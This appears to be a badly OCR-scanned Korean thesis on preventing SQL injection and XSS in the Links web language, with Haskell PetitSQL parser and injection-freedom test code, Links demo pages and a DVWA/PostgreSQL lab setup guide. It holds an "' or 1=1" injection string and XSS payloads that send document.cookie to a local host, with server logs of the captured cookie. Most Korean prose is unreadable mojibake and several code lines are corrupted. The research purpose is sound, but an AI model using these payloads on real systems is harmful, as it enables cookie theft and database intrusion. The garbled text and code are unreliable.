injFreeTerm (Eq v11 v12) (Eq v21 v22) =
injFreeValue v11 v21 && injFreeValue v12 v22

injFreeValue (ColName cl) (ColName c2) = cl==c2

(
injFreeValue (StrVal sl) (StrVal s2) = sl==s2
injFreeValue (IntVal il) (IntVal i2) = il==i2
injFreeValue (Var x) _ = True -- Can be ColName c!
injFreeValue _ (Var x) = True --
injFreeValue _ _ = False

12 43 injFree gt
T SQLE SQL¥ SQLo]gfar & uwf cols, tbl% 27y 7zt Qa1 ZFZd PredE

A
TE AT olwf cols¥ cols7|8], tbl thl7]2] H|W3}aL Pred+= inj
FreeMaybePredZE %3 Pred7]d] Wlas] Ed 425 Wusts 3AHS 3l tr
ue, falses Fehdit},

o] injFree & Sl 919 19 £ SQL EF7F AMEAF 9dgs W W
T x Ao A9 AgolA WHAHE=AE = Aotk olE FEl AREA

Hol o\ Zlo] Eoj2 & W X ARt A9 Ef 725 FRIgowH
E Fx7F HAEA gdttd 71E SQL 9] vt WIlelA] fdeS, E

Z7F MAHATE 71E SQL w9 Yrt WSS S0 £ A o F

e

QL Injection &A°] FHH A=A FaIHA=AE A0S

o]

7k A

=~

K
mlo

oft
ol
wn

3.2.3.3. Injection F-Z2Ad &3 A2
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o] injFree St+E 2o =2 Ay sAH o<}

o
1, var, stroll W&l 5 sqloll el injFreedS Helths Lot}

Vsql Vvar Vstr,
injFree

(normal sql)

(normal (parse (print (injection var str sql))))

J% 44 injFree gF49] 424

sql¥ Links ZZIo)q 2443k LINQ 2Etde] E] A8 T22 Hods
SQLZolth. o] sql Qtell&= W var7h Uepd 5 Aok Links ZZ71319] &
A ke Zad strg sqlel HERE s WE varel diAlske] 2o
A A Mg SQLIEC] injection var str sql ©]th.

B 2w 290 98] © SQLES print e S8 AR WEs)o]

+t}, o] EAES WS DBMSE parserdtE £33 thA] EY A8 FF sql

2

o7 W3lalt}l, (sql’e parse (print (injection var str sql)) ©]t}.) ¢ 7]4] prin
te} parses= Links Z 213X 9] printe} DBMSQ] parserE 2F R dlw 3t}
A 7P Ry R o] A3 parser o] ARARE == 5B 3

sal? sql” Abeloll injFree ¥AIE Hol sql'e] AH FZ°] glas Holux
Ela=y

@, A OR (B OR C)7} (A OR B) OR C¢] ZA§-¢} #Zo] FEHo 2= thaX
Tou Ao m = sdaty] wtol olHd A& FStste] ArstAR sql# Bt
SFAIZ] sql’ AFoldll injFree #AIE Hojof st} 18|dt o]f=Z injFree sal sql’
S HolxE U4l F SQLES A f3F AlA injFree (normal sql) (normal sql)&

Hel

a

3.2.34. EZ] x99 SQL A T2 R E EF3A wAEE A=
olEHo] A& QlEH o)A
SQL Injection®] $1S(SQL Injection—free)S Hol7]¥3st dlo|g o]~ Z &
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S elel SQL 54¢ mag@th SQL A4l gtk Ade Zead

of Yelt BE SQL Ao tiste] 1 Ao Yetdt M4 varg ofH £A14E str=
Hhe W, B SQLAS]l TEZF whe SQL AME s §47 B o
e,

dlolgjro]~ 2RIy o= Ee o] 7ube] SQL Aewe T -
CCtor 1=17 9 e Bl x3E 2 wbFE()E SQL 1AM

al
§514 RHES o] 2ol Z BA(Z ALsHe WP Zedy cdofol4]

A A3,
of T/ W ALgsHE HolEue] s TR dojeku SQL S
Wolshs 4Ae 2F g Aelk o] olA of FFE AFsuA T}

AR, kA 24deA AR LINQE E 722 HAds TR 2HAdst
= EAolth o] Eg] X2 E UM PetitSQLY dlolE Ellez Hdys

EA4), Links #A3d oA LINQ Aoz ZAAgds AL SQL 4 7+& E
g2 Wgsta o] ETE v EAEE v e, EYe mE yEhd B4
oA A& wEEE S A oAl BAR EFEHA MEstal itk o]
HAE printSQLol gt e 5 S8 RdwEqlth (19 45]% dd i

o] s=olt},

d

+
32
o

ppString s = concat [ "\ |, ppStringl s, "\"" ]

ppStringl [] = []
ppStringl ("\'":xs) = "\"":'\"":ppStringl xs
ppStringl (x:xs) = x:ppStringl xs

2 45 printSQL 9] 3 & A

Iz

3.2.3.5. 1AM o] glgolgts HARAS AF

b AW AAHe] ggolets AL FES] SAske] (19 4613 ol



Haskell2 ¥ 33}9 ).

forAll arbitrary $ \sql ->
forAll arbitrary $ \var ->
forAll arbitrary $ \str ->

injFree (norm sql) . norm . sqlFrom . parseSQL . printSQL .

injection var str $ sql

T 46 QM glgolats g9 Haskell £
9] Haskell 2o A] forAll arbitrary $ Wsql =& sqlol gl E 2 &
o]aL, forAll arbitrary $ Wvare RE M o] E varo] tste] F &3 Aol
forAll arbitrary $ Wstr& EE £A4E strol diste] zdgH Folth. F o]0
o=

Q9+ injFree (norm sql) . norm . sqglFrom . parseSQL . printSQL . injecti

on var str $ sql & dAXMHo] glFolgte= A2 & Haskell2 &3 Aol

Haskell®] A4 7|9t €|~8 £ (property based testing tool)?! QuickChec
kE ol&sto] 9l Aol glFolets A4S 33 Haskell 215 H2®35}
of AZFsHAt

QuickCheck =77F YO ® sql, var, str<

fllo
ox
oX,
rot
O
dlo

9?1 Haskell A&
A 7 HTHOR injfree F7F P& e whdbshe Ale [1H 4719 &

o sHelalgiey.

$ stack test
petitsql> test (suite: petitsql-test)

SQL injection free?

For all sql, x, and v, sql is injection-free from injection x v sqgl
+++ OK, passed 100 tests.

Finished in 0.0216 seconds

1 example, O failures
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petitsqgl> Test suite petitsgl-test passed

I 47 injFree &t4 Ay}

Ao glvke AES ATt A S ot oA et o] ¥ 4 3l
o] u, sql 21& select * from t where name = {z} ©]°| 333+ SQL Star
"t" (Just (Term (Eq (ColName "name") (Var "z")))) ©]il, W4 o]E vare
“z’olal, o] MFE AT wAE stre " oor 1=1" o]t} o] A7 A sql,

var, str& 7FAa QA AXo] glt= AAS ASste Hgolt) sqls AAAS

I AT oA
ghci> sql0
SQL Star "t" (Just (Term (Eq (ColName "mame") (Var "z"))))

ghci> printSQL sqgl0

"select * from t where name = {z}"

2. ARE ©A:
ghci> sqll = injection "z" "' or 1=1" sql0
ghci> sqll

SQL Star "t" (Just (Term (Eq (ColName "mame") (StrVal "' or 1=1"))))

3. TAIE 2 Hgsh= A
ghci> strsqll = printSQL sqll
ghci> strsqll

"select * from t where name = or 1=1

(303 ZIIE) " PACH
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4. AR = TSk B

ghci> sql?2 = parseSQL strsqgll

ghci> sql2

SQL Star "t" (Just (Term (Eq (ColName "mame") (StrVal "' or 1=1"))))

5. (4atet 048 Aol gieA] Sholste U
ghci> injFree (norm sql0) (norm sql2)
True

T3 48 injFree XI3) THA|

Aol [19 48]7 22 A2 AHS 42 sqlol sdl injection ¥4 ETE
FUE sallS printSQL -5 Sl wAER WEkste] Folvh. o] FHA Wk

strsglle W sql0¥} Blalsto] 2h2uhE3E

~
A
N
fr
o

A} e AL Fols

t} o5 B3 SQL injection &7 72 FYPo] dHdHo=z

T AFE o] # strsqlle parseE &3 UA] SQLT Aoz H3sE sql29f sql0
2 A= vaste] SQLEY Ef FxE AWE ) I Tz Wi} glo] SQL
Injection 324 0] o] FoIX|X] ¢k¢kal o]& T3l injFreedS &3 &

(728 49]+= o714 AFE¥ printSQL 59 Z=o|t},

printSQL :: SQL -> String
printSQL (SQL cols tbl maybePred) =
concat
[ "select "
, ppCols cols
, ' from "
, ppThl tbl

, ppWhere maybePred

ppCols Star = "+
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ppCols (Cols []) = ™
ppCols (Cols [c1]) = ¢l
ppCols (Cols (cl:c2:cs)) =
concat
[ cl
, ppCols (Cols (c2:cs))
]

ppThl tbl = tbl

ppWhere Nothing = ™
ppWhere (Just pred) =
concat
[ " where "
, ppPred pred

]

ppPred (Term term) = ppTerm term
ppPred (Or p q) =
concat

[ ppPred p

or
. ppPred g
]

ppTerm (Eq vl v2) =
concat

[ ppValue vl

, ppValue v2
|

ppValue (ColName s) = s
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ppValue (StrVal s) = ppString s
ppValue (IntVal i) = show i

ppValue (Var x) = "{"++x++"}

ppString s =
concat
["\"
ppStringl s
m

ppStringl [] = []
ppStringl ("\'":xs) = "\'":'\'"ppStringl xs

ppStringl (x:xs) = x:ppStringl xs
I 49 PrintSQL

o

A
e

o] 3l IAHS E3 Links 91¢]+= SQL Injection 342 adHowE AtshA]
Tk o2l gk o] Links dojwhe] EAolgtal & 4= gl ©]7] SQL Injectio
noll dlgste WHoes JEve BxdS adE AHZste dil 2xE U9
EFEAE A ste] A4S A2 wrEo] diAshe WHel de g A
7] wiiEelth, 2y 1wk olE AR of2ste] glolHE R EEdE
a7k a3k =d Links ojollA] o]efgh F2fo] do] Aol A &= o] &
o7

A A AFE wrigel dojd % gl AW WEAA A 5

¢

0 IR S R A e

3.3. XSS (Cross-Site Scripting)

o1 7] A= Links Z2 180 XSS AL As ek &S A g s}

3.3.1. XSS 71&

(73 501& ARgAE olES s 1 e w3

rio

)5l == 3}+= Links -
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2o eo|th, o] TRl Qe A&} ExgES Y
< stringtoxml olgl= golB ] 45 F3] xmlElgd oz W3ksle] wh3ksl

th kA 27el A A eklt Links ool A html =17} AREH = FE2 xml

fun foo(name) {
replaceNode(
<div id="xyz"> {stringToXml(name)} </div>

getNodeByld("xyz")
)

t
fun xsstest(msg) {
page
<html>
<body>
<form l:onsubmit="{foo(x)}" method="post">
<input l:name="x" />
<button type="submit">Submit!</button>
</form>
<div id="xyz"> Input your name!</div>
</body>
</html>
}

fun main(){
addRoute(", xsstest);
servePages()

}

main()

2 50 Links ojJA] =2 72H
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XSS FAe] t&] T2 YR ~2AHE "7 JdE A9(HH 2agE
H)e 2233 YHd 23 HE "7t g A9(s4 23-E g2 &

Fate) A9e WA,

A 2o XSS FALY A7HA] R/l dd] Awsidl=dl Links oo &
Aate]l AAES Felstr] 98l Stored XSS€F DOM-Based XSS 5 7F#] XSS &

Aol i3] AL Waslal, Reflected XSS = 349 W wkao] A
= Bel g7 &S Wi FZAoldl Links ool EAwe]l #AI7F EA86HA)

¥, DOM-Based XSS &Z4o] t}& Stored XSS, Reflected XSS} th& H&
AL A A ol AHE AAA @A, AREAEY] SEeldE

A AgEths Aotk A3 Bl Reflectd XSS HIS2akAl A 4 91A
%, Reflected XSS &40l = gA4#2 a4 o] &3 J=A7F 235 3l
= o 94 & S AT FAE SEEAS W, 34 Fo] A B

& 5 AR A Bole: Aol

3.3.2. A4 23 HE "1 (ZE21F YH <script> f)
[29 50]& =29 Wil script 1S ARESte] [29 52]9 o] W
aFlth. o714 XSS 849 7hs oF-E FRlstr] fa JoE HAE A S
T-538te] cookieZt AEFHA=A] Slain ] ffaf [ 51] o] setCookie

S5 F3l cookieE Y= AAMFIAT

| setCookie(“password”, “fooxyz’); |

2] 51 A9z X|ASE cookie
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fun foo(x) {
setCookie("password”, "fooxyz"):

replaceNode(
<div id="xyz"><script> {stringToXml(x)} </script></div>

getNodeByld("xyz")
)
t

fun xsstest2(msg) {
page
<html>

<body>
<form l:onsubmit="{foo(x)}" method="post">

<input l:name="x" />
<button type="submit">Submit!</button>

</form>
<div id="xyz"> Input your name!</div>
</body>
</html>

}

fun main(){
addRoute(", xsstest?);

servePages()

}

main()

[&l
o
I
i)
1o,
=l
N
to
r__ﬁl_:{
ox
f
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<script>document.location="http://127.0.0.1/cookie? +document.cookie</
script>

% 53 cookie A&st= 54 ATYHE

ol

Z7ke] apache2 AMB A+ ZaE iR [ 54]9F #o] FAAT}
= =
= [}

RS

N
of
of

=gk AREAFY] cookieE I F Un olE

AgRTh xss #20] A5E S A5 FAsseh

R8s

QA

u
il

$ tail -f /var/log/apache?2/access.log

127.0.0.1 -- [24/May/2022:16:45:46 +0900\ “GET /cookie?password=foox
yz HTTP/1.1"7 404 488 “http://localhost:8080/" "Mozilla/5.0 (x11; Ubunt
u; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0"

127.0.0.1 -- [24/May/2022:18:26:06 +0900\ “GET /password=fooxyz:%20
word=fooxyz HTTP/1.1" 404 488 “http://127.0.0.1:8080/" "Mozilla/5.0 (x
11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0"

2% 54 BARS] Aud] 7]2H 21

292 Links o1& Abgs] 8 2238 /Ed o <script> Bl1E A}
ot Frete dvd s AEY o AREH= <script>El1e] IS
A r7] 98] AYE sl ol& s T4

A &= DOM-Based XSS &

A

)
3
)
o
™
o
ol
ol
2
o 4
W
fuiu)
(@]
Ol
&
Y
s
-
O
=

Based XSS #74<% 93 URL 4% 9493 URL F49 #HAaZS uWkslsl=
oA RS AT

fun foo(url){

page

<html>
<body>
<div>

<a href="{url}" target="_blank">Your URL</a>

</div>
</body>

</html>
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}
fun domxss(msg) {
page
<html>
<body>
<h1>Input Your URL</h1>
<form l:action="{freshResource(): foo(url)}" method="post
<input l:'name="url" />
<input type="submit"></input>
</form>
</body>
</html>
}

2 55 DOM-Based XSS 9JA| =2

|d

2H
=]

#<img src=x onerror=document.location="127.0.0.1/cookie? +document.c

ookie>

1% 56 DOM-Based XSS 224 12

localhost/ex2.html?#<img src=x onerror=document.location="127.0.0.1/c

ookie? +document.cookie>

12 57 DOM-Based XSS 524 AlA| Al

o2

e

dom-based xss 3242 URLY fragment identifier?! # 7]|5E& o]&3slo] A
HZ2 34 A23HE F57F AFEA] A st AW oA 4 2THE
. °l& F9lslr] 91ste] burp suite:

S 19 requestE &<13}3T).

DA Ae gdHon BAD

2)
o] &3l url T4l 25 AFES wie} #

-
il
v

p

tlo
>
op
b2
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[1% 56]& url 4ol 25 AFE3) QIAE AFAS W requestoltt,
Referer: http://localhost/exZ_ html’name=peter
a3 58 72 ASS AR A

[Z19 5613 2] burp suiteE &3 url®] g E AT 4= At}

(238 571 url 40 #& AFE3] QxS AEsHS W] requesto] .

Beferer: http://localhost/exZ.html

27 59 #2 AMES) R A

—

a9 5719} o] burp suiteE ©]83 requestE Q1R S W
HEE 1% 4 gtk 28y 28 ARES SerHE AEsSs "ok 22 F

)

X
o

o

e

1Y} stringtoxml $F7F stringS xml H2A1 0 ®2 HAA 77 A RE o A 5]

stringx® FAE o7 Yol FHE AU]dE ofy-go] UArt. stringtoxml
A 3}

(=
ol

&4 AME F <script></script> Bl Abga) ok
o e AR 2w 44 A adue S9E o7 EAlsA e
~IYE P FHIUE Alol= AaYES Held o Agdte B o
W29 2 AL hmlol A AubAIPES) g A

Al ARE. Linksoll A AR&-sofrt sh= o] 772 ofF {131 AR

A £33t stringToXml kol B2 &
53 24 ~3YE TR EFEAS EAYR Auddy ddes 34

a9 il ARHTHE AL HAT 5+ A Wb 2APE B A
!

i1t
oot
I,
)
[kl
il
]
1
=
s
2
/\
w
e!
S
iV

il
>

[»

op

3.3.3. 4 23 YE I (2239 YF <script> ¥)
28 Y Ho| A <script> ElL AR A], xss 349 7Aool EAES I

=
A3E FH, I ol <script> BIIL7F §l= ARolM = ojekgo] FA L] T}
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sAol EAe=A Flsty] sl <script> B27F = ARl M = SHels| R ek

L9k AolA st AR XSS FA9 ARE gy 9 Ao PaE

Ry

sl

et L

Ao cookieE [2¥ 49]2 o] AT A [29H 5019 oA L=

uic)

S [2¥ 6013 Zo] FASIHTE T2 a3 Ui <script> BV} fle A
oA script Bl17F EgHE ] 9l wAIES YEstal 1 £ AE S stringtoxm
1 golrda q4E B xml FAow WHEsgS u FAAI dHs 34

2AHETE A8 xss 0] 7hedh A glel Bkt

fun foo(x) {

setCookie("password", "fooxyz"):
replaceNode(

<div id="xyz"> {stringToXml(x)} </div>

getNodeByld("xyz")
)

}
fun xsstest3(msg) {
page
<html>
<body>
<form l:onsubmit="{foo(x)}" method="post">
<input l'name="x" />
<button type="submit">Submit!</button>
</form>
<div id="xyz"> Input your name!</div>
</body>
</html>
}

fun main(){
addRoute(", xsstest3);
servePages()
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S IHE B oA ==
Ad ARE A4 Mz AFs=s o= [13H 53]

FEAE 2 e EFRE Fo] <script> HIL7F AAR B 9E 483}
A ek EArE Y o] sAekglth. o] & SQL injectiono| A9 Az} njS=gh
3 d], static type checking?] §2Fo @ A}&3F stringToXml o] 2.2 2] 9]
FEAZE AL AHES] =R AR EA] Al EAEAE AH
TA ~AHETL AYPEA & Aot} o5 B3 <script> HIILE WAH L
2

Bol A ALEaA FeTE XSS FANA P Sl 4 9l

fun foo(url){
setCookie("password", "fooxyz");
page
<html>
<body>
<div>
<a href="{url}" target="_blank">Your URL</a>
</div>
</body>
</html>
}
fun domxss(msg) {
page
<html>
<body>
<h1>Input Your URL</h1>
<form l:action="{freshResource(); foo(url)}" method="post
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">
<input l:name="url" />
<input type="submit"></input>
</form>
</body>
</html>
t
fun main(){
addRoute(", domxss);
servePages()
t

919] Links oA Zz2a9S E3)] dEFd nameS A#H3PH 1 name°] url

=2 =g

o) setulelz FAE solw P wasE Troth of dolHYas 2
o] AeyElo] & HolA ) waHrh o u olze}

uic]

st html=2 2HAd¥ =27

ve 2aYE ¥4 BEE 998 5 Ak

Links 9loj2 ttEojx 22 aef| A3 HE 27l EASHA] a1, Aol A

4

xss FA0) UF Wol7t 5o} QX wvhe, (17 62]9h L& 2AYUE §F
b Agdn,

localhost/ex2-2.html?name=<img src=x onerror=document.location="12

7.0.0.1:80/cookie? +document.cookie>
12 62 DOM-Based XSS 24 L&

o]# & 729 Links Z&E IS stringToXml 52 o] &3 type W3S 3 of

Col ALmSEA Frhslol 2AHE A BT HAS e o

ol

o
£l

(o]

Ok 27 oA W3t type checking B E<ld], Links 2ojol A A]33}+= type
checking©] javascriptt} html ZEIHAE AYPH =2 5=

2 Az Welak Ao,
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Aol =gk A5 2ol XSS FH ekl il e Hojdlres 99
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4. Discussion

LINQ #Ag W3t Held A|2d"o A 3 /o] SEFEAE A /2 WHstsle] &
FEAS A 2R FAE FHoll ojudt ¥A Jito] JHEEEE e AYPE A
2y Ead 2 AesteE EAo] SQL Injection &AL Woldlal, o]83t Ay &

Aa et 583 nel@ Aol gle s,
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B=E A G4 set up and run

oS f&e A3 set up W& A3 W #e)] 7]&3o

Links OS : Ubuntu 20.04.3
dvwa OS : kali Linux
how to install Links in Ubuntu 20.04.3

. Postgresql A 2 43
Links A% A postgresql WA M¥ 3oF g},
how to install postgresql
$ sudo apt-get install postgresql postgresgl-contrib
ver : 12, port 1 5432

psql data directory : /var/lib/postgresql/12/main

check psqal

create user : ©J7]4] 'user name' A A Ubuntu user °o]& 3} Zolof &t
# create database 'db name';
# create user 'user name' with encrypted password 'password';
# grant all privileges on database 'db name' to 'user name';
# alter role 'user name' 'role name';

ex)

# create database lee;

# create user lee with encrypted password ubuntu;

# alter role lee superuser createrole createdb replication bypassrls;

* postgresqgl setupl
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$ sudo vi /etc/postgresql/12/main/postgresql.conf

listen_addresses = 'localhost' . localhost &9k &8
1o TTE #o2 FAAE &
listen_addresses="+' cRE P F&

g9 B8 @l

$ sudo vi /etc/postgresql/12/main/pg_hba.conf
mdb & WA o WA JI5 folstAl o
local all all mdb
host all all 0.0.0.0/0 mdb

$ sudo systemctl restart postgresql : psql AA %+

$ netstat —ntlp | grep 5432 : psql 5432 XE =9

t}. install opam

$ sudo apt install opam

$ opam switch install 4.08.0 : Links®} Z3to] HE=E B HE

;Y
o
e

.

M

2}. install Links2

$ opam install Links Links—postgresql
/home/'user name'/.opam/4.08.0/

* error
failed build conf-gmp 4 A A] o}gfo] F+ et
$ sudo apt install libgmp-dev

check Links

1) https://github.com/Links-lang/Links/wiki/Database-setup
2) https://github.com/Links-lang/Links/blob/master/INSTALL.md
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$ linx . Links £°]7}7]
> @quit; . Links Y7171

configure
$ sudo vi .opam/4.08.0/etc/Links config : Database o|#] A}&-3}
7] A8l FA A Holde okl 7 £ 74 Al § user name¥} passw
ord ¥#
database_driver=postgresql
database_args=localhost:5432:'user name':'password'
‘wq!
ex)
database_driver=postgresql

database_args=localhost:5432:lee:ubuntu

Database set up
$ cd .opam/4.08.0/share/Links/examples/dbsetup
$ ./createdbs
$ ./populatedbs
* error
permission deny : sudo chmod a+x 'file'S %3] @IS HoJdlk
=3

ex) sudo chmod a+ x createdbs
$ linx examples.Links . Links 3} 23}
$ linx —d examples.Links : debug <4 AAs] U 213

$ linx —path=../, ./Jexamples.Links : A& 34 X Aal 3d 2

v}, Links®] SSL A#3)

_87_



$ openssl req —x509 —newkey rsa:4096 —keyout server.key —out server.c
rt —days 365 —nodes

Aol £ Ao JASA ek 7] WA F configell &3}

4096bite] rsa $EstE ARGl 3659 Eot FaEF AT B HJT
server.key®} server.crt¥ config7} 4 .opam/4.08.0/etc/Links/ Zt]ol] A3

o,

3

o

$ sudo vi .opam/4.08.0/etc/Links/config

el &= config ¢kl &7} okl Al &8-S F7HEH
ssl=true

ssl_cert_file=server.crt

ssl_key_file=server.key

1 % linx —config=config 2% A configs A &3t== 3 5 A3},

B}, DVWA A X9

SQL I Aoy xxs &A% 2 o8 § HFH 34 vg A58 =
U= dvwadl AA WS 7]Eg

1. install xampp

* xampp? php development environment

1)download site : https://sourceforge.net/projects/xampp/files/XAMP
P%20Linux/

dvwas PHPHO AW E2s)7] wjid 5.6.23 HA 25 (x64, x32
Z}2} g7 o) utA))

download file : xampp-linux-x64-5.6.23-0-installer.run

2) open terminal

3) https://github.com/Links-lang/Links/releases/tag/0.9.6
4) inflearn [S}o]ES|A 7t &7 Y5t 871X 4 317 71&] 739 A=
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# cd Downloads/
# ls —al

xampp-linux-x64-5.6.23-0-installer.run 3¢ 22l

# chmod +x ./xampp-linux-x64-5.6.23-0-installer.run
# ls —al

xampp-linux-x64-5.6.23-0-installer.run #3F 32l

# ./xampp-linux-x64-5.6.23-0installer.run 23}

# /opt/lampp/manager-linex.run & CTHA] 23

# sudo vi /opt/lampp/etc/php.init
allow_url_include=off => on

MYSQL DatabaseE A& % apache 1 AW =23

click 'go to application' =+ localhost/phpmyadmin <

Database "dvwa" A4

2. install dvwa

http://secuacademy.com/files 4<% % download

# cd ~/Downloads/

# unzip DVWA-1.9-captcha—-patched.zip

# mv DVWA-1.9-captcha-patched /opt/lampp/htdocs/dvwa
localhost/dvwa 54

%*7] setup checkol A captcha A4 3 (¥2l google A ZHQ)
https://www.google.com/recaptcha/admin %<

Hol Ao 219 & recaptcha v2 A¥3F H accept
label : dvwa, domain : localhost

copy site key

# sudo vi /opt/lampp/htdocs/dvwa/config/config.ini.php
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'recaptcha public key' =" o2 Aloleof] EA}

copy secret key

'recaptcha private key' ="} xowe 3 Abolof| EA}
2 = 9] A=

'db_password" = ' A4 A password 2HA
‘wq!

localhost/dvwa/setup.php M| 2113 & recaptcha key7} A H A=A <2l
1 % chmod 777% BT AREALOAl spde] el 227 @g Fo

# chmod 777 /opt/lampp/thdocs/dvwa/hackable/uploads

click &l #Ho]#] s}t 'create/rese Database'

A}, apache2 AW 21 7|5 &<l

$ tail —f /var/log/apache2/access.log

o}. postgresql Database &2} &¢l & HQ & F7}
Links oAl 2239 7Hg § vy #4g& &3 Database &2 291 §
var db = Database “Links”;
var test = table “test” with (I : Int, s :String) from db;
insert test values (I, s) [(i=1, s="one”)];

query {for(x <- test)[x]};
oS A4S A3 Qa3 Database WS Y3}

insert into ‘table—name’

values();

ex)

Database dictionary W <£#]3}+= table ‘wordlist’' = 4709 columns& 74 &
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21t} word(string), type(string), meaning(string), id(integer).

o)

Ll
-l {

# select * from wordlist; @ table wordlistel] EA]3h= & R

# insert into wordlist ( word, type, meaning, id) values (‘a', null, '"The n
ame of the sixth tone in the model major scale (that in C), or the first to
ne of the minor scale, which is named after it the scale in A minor. The
second string of the violin is tuned to the A in the treble staff. —— A sha
rp (A/) is the name of a musical tone intermediate between A and B. --
A flat (A/) is the name of a tone intermediate between A and G.,

20 Zdad e 4.

deolg o] 4 Al

UPDATE ‘table ©]&’ SET ‘43 W8’ WHERE ‘z=31’;

ex)

# UPDATE wordlist SET type = ‘n” WHERE word = 'baa’;
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olgf¢] F=i= SQL Injection #H=ol AFEFH PetitSQLAA AF&¥ Parser
AR 2= goltt.

parseSQL :: Parser SQL
parseSQL =

symbol "select" >>= (\_ ->

(star +++ columns) >>= (\cols ->
symbol "from" >>= (\_ ->

table >>= (\tbl ->

optWhere >>= (\maybePred ->
return (SQL cols tbl maybePred))))))

star :: Parser Cols
star =
symbol "*" >>= (\_ ->
return Star)

columns :: Parser Cols
columns =
columnsl >>= (\cols ->
return (Cols cols))

columns] :: Parser [String]
columnsl =
identifier >>= (\col ->

many (symbol "," >>= (\_ -> identifier)) >>= (\cols ->

return (col:cols)))

table :: Parser String
table = identifier

optWhere :: Parser (Maybe Pred)

optWhere =

_92_



(symbol "where" >>= (\_ —>
predicate >>= (\pred ->
return (Just pred))))

+++

(return Nothing)

predicate :: Parser Pred
predicate =
parseterm >>= (\term ->
predicatel >>= (\f —>

return (f (Term term))))

predicatel :: Parser (Pred -> Pred)
predicatel =

(symbol "or" >>= (\_ ->

predicate >>= (\pred2 ->

predicatel >>= (\f >

return (\predl -> f (Or predl pred2))))))

+++

(return (\x->x))

parseterm :: Parser Term
parseterm =
parsevalue >>= (\vl —>
symbol "=" >>= (\_ >
parsevalue >>= (\v2 ->
return (Eq vl v2))))

parsevalue :: Parser Value
parsevalue =
(identifier >>= (\colName ->
return (ColName colName)))

+++

(sqlstring >>= (\sqlstr ->
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return (StrVal sqlstr)))
+++

(integer >>= (\i ->
return (IntVal i)))

+++

(symbol "{" >>= (\_ ->
identifier >>= (\v ->
symbol "}" >>= (\_ ->
return (Var v)))))

sqlstring :: Parser String
sqlstring =
(char '\'"') >>= (\_ —>
sqlstringin >>= (\text ->

return text))

sqlstringin :: Parser String
sqlstringin =
((char '\"") >>= (\_ >
(char '\'") >>= (\_ —>
sqlstringin >>= (\text ->
return ('\'":text)))))
+++
((char "\'"") >>= (\_. —>
(return ™))
+++
(item >>= (\¢ ->
sqlstringin >>= (\text ->
return (c:text))))

12 63 parseSQL &4
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